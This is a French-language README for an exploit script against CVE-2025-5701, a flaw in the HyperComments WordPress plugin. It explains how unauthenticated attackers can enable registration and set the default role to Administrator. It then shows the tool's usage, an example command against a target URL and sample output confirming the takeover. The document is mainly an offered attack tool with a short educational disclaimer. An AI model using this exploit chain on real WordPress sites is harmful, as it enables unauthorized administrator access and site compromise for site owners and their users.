CVE-2025-5701 - Exploit d'élévation de privilèges non authentifié

Sévérité : CRITICAL (CVSS 9.8)
Plugin concerné : HyperComments pour WordPress
Versions concernées : ≤ 1.2.2

📌 Résumé de la vulnérabilité

Le plugin HyperComments pour WordPress est vulnérable à la modification non autorisée des options de WordPress en raison d'un contrôle de capacité manquant dans la fonction hc_request_handler. Cela permet à des attaquants non authentifiés de mettre à jour des options WordPress arbitraires, telles que :

• Activer l'inscription des utilisateurs (users_can_register)
• Modifier le rôle par défaut attribué aux nouveaux utilisateurs inscrits (default_role)

En combinant ces éléments, un attaquant peut activer l'inscription et s'assurer que tout nouvel utilisateur se voit automatiquement attribuer le rôle Administrateur.

🧨 Score CVSS

CVSS v3.1: 9.8 CRITICAL  
AV:N / AC:L / PR:N / UI:N / S:U / C:H / I:H / A:H

📦 Utilisation

CVE-2025-5701 - Unauthenticated Privilege Escalation Exploit
By: Khaled Alenazi (Nxploited)

usage: CVE-2025-5701.py [-h] -u URL

CVE-2025-5701 - Unauthenticated Privilege Escalation Exploit by Khaled Alenazi (Nxploited)

options:
  -h, --help     show this help message and exit
  -u, --url URL  Target base URL (e.g., http://target-site.com)

📦 Exemple

python3 CVE-2025-5701.py -u http://target-site.com

💬 Exemple de sortie

CVE-2025-5701 - Unauthenticated Privilege Escalation Exploit
By: Khaled Alenazi (Nxploited)

[+] Target is vulnerable (version: 1.2.2) - proceeding with exploitation.
[+] Exploit endpoint is accessible.
[+] Server response: {"result":"success"}
[+] Registration is now enabled. New users will be assigned administrator role.
[+] Register here: http://target-site.com/wp-login.php?action=register

Exploit by: Khaled Alenazi (Nxploited)

⚠️ Avertissement

Ce script est fourni uniquement à des fins éducatives. L'accès non autorisé à des systèmes sans permission est illégal et contraire à l'éthique. Utilisez-le uniquement dans des environnements contrôlés ou avec une autorisation explicite.

Nxploited (Khaled_alenazi)